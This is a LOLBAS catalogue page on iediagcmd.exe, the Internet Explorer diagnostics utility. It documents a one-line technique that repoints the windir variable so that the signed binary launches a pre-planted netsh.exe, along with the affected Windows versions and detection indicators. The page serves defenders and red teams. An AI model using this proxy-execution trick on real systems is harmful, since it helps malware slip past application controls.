LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

iediagcmd.exe

View source

Diagnostics Utility for Internet Explorer

Execute
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1218

Executes binary that is pre-planted at C:\test\system32\netsh.exe.

COMMAND
set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}
USE CASE
Spawn a pre-planted executable from iediagcmd.exe.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10 1803, Windows 10 1703, Windows 10 22H1, Windows 10 22H2, Windows 11
Execute · EXE
02 / ON DISK

Known paths

C:\Program Files\Internet Explorer\iediagcmd.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    Sysmon Event ID 1

  • IOC

    Execution of process iediagcmd.exe with /out could be suspicious

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Adam@hexacorn